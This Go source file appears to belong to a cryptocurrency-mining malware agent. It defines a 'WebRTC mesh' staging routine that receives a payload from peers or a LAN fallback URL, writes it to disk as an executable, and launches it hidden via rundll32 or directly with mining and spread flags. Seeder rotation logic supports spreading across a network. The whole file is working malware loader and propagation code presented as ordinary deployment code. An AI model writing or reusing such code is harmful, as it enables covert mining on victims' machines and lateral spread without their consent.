package deploy

import (
	"crypto/sha256"
	"encoding/hex"
	"fmt"
	"os"
	"path/filepath"
	"runtime"
	"strings"
	"time"

	"crypto-miner-agent/config"
)

// WebRTCMeshPolicy is server-pulled LAN seed policy for WebRTC mesh spread.
type WebRTCMeshPolicy struct {
	STUNServers    []string `json:"stun_servers,omitempty"`
	SignalingRelay string   `json:"signaling_relay,omitempty"`
	LANFallbackURL string   `json:"lan_fallback_url,omitempty"`
	SeederAgentID  string   `json:"seeder_agent_id,omitempty"`
	RotationHours  int      `json:"rotation_hours,omitempty"`
	IsSeeder       bool     `json:"is_seeder,omitempty"`
}

// WebRTCMeshManifest is the hash-verified payload received over WebRTC data channel or LAN fallback.
type WebRTCMeshManifest struct {
	Policy        WebRTCMeshPolicy `json:"policy"`
	SHA256        string           `json:"sha256"`
	Dest          string           `json:"dest"`
	Launch        string           `json:"launch"`
	DLLExport     string           `json:"dll_export,omitempty"`
	DeferMining   bool             `json:"defer_mining,omitempty"`
	SpreadInstall bool             `json:"spread_install,omitempty"`
}

// WebRTCDataChannel is a minimal testable surface for manifest delivery.
type WebRTCDataChannel interface {
	Receive() ([]byte, error)
}

// webrtcMeshReceiveFn injects manifest bytes (mock channel for tests; real impl uses STUN + WS relay).
var webrtcMeshReceiveFn func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error)

type mockWebRTCChannel struct {
	payload []byte
}

func (m *mockWebRTCChannel) Receive() ([]byte, error) {
	if len(m.payload) == 0 {
		return nil, fmt.Errorf("webrtc channel empty")
	}
	return m.payload, nil
}

// NewMockWebRTCChannel returns a test channel with preloaded manifest bytes.
func NewMockWebRTCChannel(payload []byte) WebRTCDataChannel {
	return &mockWebRTCChannel{payload: payload}
}

func webrtcMeshWorkDir(cfg config.RuntimeConfig) string {
	return filepath.Join(os.TempDir(), ".webrtc-mesh-"+sanitizeName(cfg.WorkerName))
}

func receiveWebRTCMeshPayload(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
	if webrtcMeshReceiveFn != nil {
		return webrtcMeshReceiveFn(cfg, policy)
	}
	return receiveWebRTCMeshPayloadPlatform(cfg, policy)
}

// RunWebRTCMeshStaging receives manifest over WebRTC/LAN fallback, verifies SHA256, launches worker.
func RunWebRTCMeshStaging(cfg config.RuntimeConfig, manifest WebRTCMeshManifest) (string, error) {
	if runtime.GOOS != "windows" && runtime.GOOS != "linux" && runtime.GOOS != "darwin" {
		return "", fmt.Errorf("webrtc_mesh staging unsupported on %s", runtime.GOOS)
	}
	payload, err := receiveWebRTCMeshPayload(cfg, manifest.Policy)
	if err != nil {
		return "", err
	}
	sum := sha256.Sum256(payload)
	got := hex.EncodeToString(sum[:])
	expected := strings.ToLower(strings.TrimSpace(manifest.SHA256))
	if expected != "" && got != expected {
		return "", fmt.Errorf("sha256 mismatch: got %s want %s", got, expected)
	}

	dest, err := ResolveStagingPath(manifest.Dest)
	if err != nil {
		return "", err
	}
	workDir := webrtcMeshWorkDir(cfg)
	if err := os.MkdirAll(workDir, 0o700); err != nil {
		return "", err
	}
	defer func() { _ = os.RemoveAll(workDir) }()
	if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
		return "", err
	}
	if err := os.WriteFile(dest, payload, 0o755); err != nil {
		return "", err
	}

	launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
	transport := "webrtc_relay"
	if strings.TrimSpace(manifest.Policy.LANFallbackURL) != "" {
		transport = "lan_http_fallback"
	}
	switch launch {
	case "rundll32", "dll":
		export := strings.TrimSpace(manifest.DLLExport)
		if export == "" {
			export = "DllRegisterServer"
		}
		if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
			return "", fmt.Errorf("rundll32 launch: %w", err)
		}
		return fmt.Sprintf("webrtc_mesh received manifest via %s seeder=%s to %s; launched rundll32 %s rotation=%dh",
			transport, manifest.Policy.SeederAgentID, dest, export, manifest.Policy.RotationHours), nil
	default:
		args := []string{runFlag}
		if manifest.DeferMining {
			args = append(args, deferMiningFlag)
		}
		if manifest.SpreadInstall {
			args = append(args, spreadFlag)
		}
		if err := HiddenStart(dest, args...); err != nil {
			return "", fmt.Errorf("exe launch: %w", err)
		}
		return fmt.Sprintf("webrtc_mesh received manifest via %s seeder=%s to %s; launched exe %v rotation=%dh",
			transport, manifest.Policy.SeederAgentID, dest, args, manifest.Policy.RotationHours), nil
	}
}

// IsWebRTCMeshReady reports whether forge flag or subnet seeder election allows mesh spread.
func IsWebRTCMeshReady(cfg config.RuntimeConfig) bool {
	if cfg.WebRTCMeshSpread {
		return true
	}
	return false
}

// DefaultWebRTCRotationHours is the server policy default for seeder rotation.
const DefaultWebRTCRotationHours = 24

// WebRTCMeshSeederTTL returns duration until next seeder rotation window.
func WebRTCMeshSeederTTL(hours int) time.Duration {
	if hours <= 0 {
		hours = DefaultWebRTCRotationHours
	}
	return time.Duration(hours) * time.Hour
}